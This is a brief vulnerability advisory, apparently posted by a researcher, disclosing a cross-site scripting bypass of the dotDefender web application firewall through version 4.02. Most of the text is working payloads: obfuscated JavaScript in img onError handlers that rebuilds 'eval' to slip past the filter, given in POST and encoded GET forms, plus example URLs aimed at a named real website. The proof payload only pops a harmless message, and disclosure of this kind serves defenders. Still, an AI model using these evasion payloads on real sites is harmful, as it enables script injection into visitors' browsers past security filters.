dotDefender is prone to a XSS because it doesn't satinate the input vars correctly. Injecting obfusctated JavaScript code based on references vars assignment, the dotDefender WAF is vulnerable.

Class: Input Validation Error
Remote: Yes
Credit: David K. (SH4V)
Vulnerable: till 4.02

Exploit:

<img src="WTF" onError="{var {3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v+a+e+s](e+s+v+h+n)(/0wn3d/.source)" /> //POST

<img src="WTF" onError="{var {3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v%2Ba%2Be%2Bs](e%2Bs%2Bv%2Bh%2Bn)(/0wn3d/.source)" /> //GET

EXAMPLES:

Blocked:
http://www.hacesfalta.org/oportunidades/presencial/buscador/sinresultado/?&idPais=3&clave=%3Cimg%20src=%22WTF%22%20onError=%22{var%20{3:s,2:h,5:a,0:v,4:n,1:e}=%27earltv%27}[self][0][v%2Ba%2Be%2Bs]%28e%2Bs%2Bv%2Bh%2Bn%29%28/0wn3d/.source%29%22%20/%3E

Unblocked:
http://www.hacesfalta.org/oportunidades/presencial/buscador/sinresultado/?&idPais=3&clave=%3Cimg%20src=%22WTF%22%20onError=alert(/0wn3d/.source)%20/%3E

More information here:

http://n3t-datagrams.net/docs/?/=21

Regards,

David K.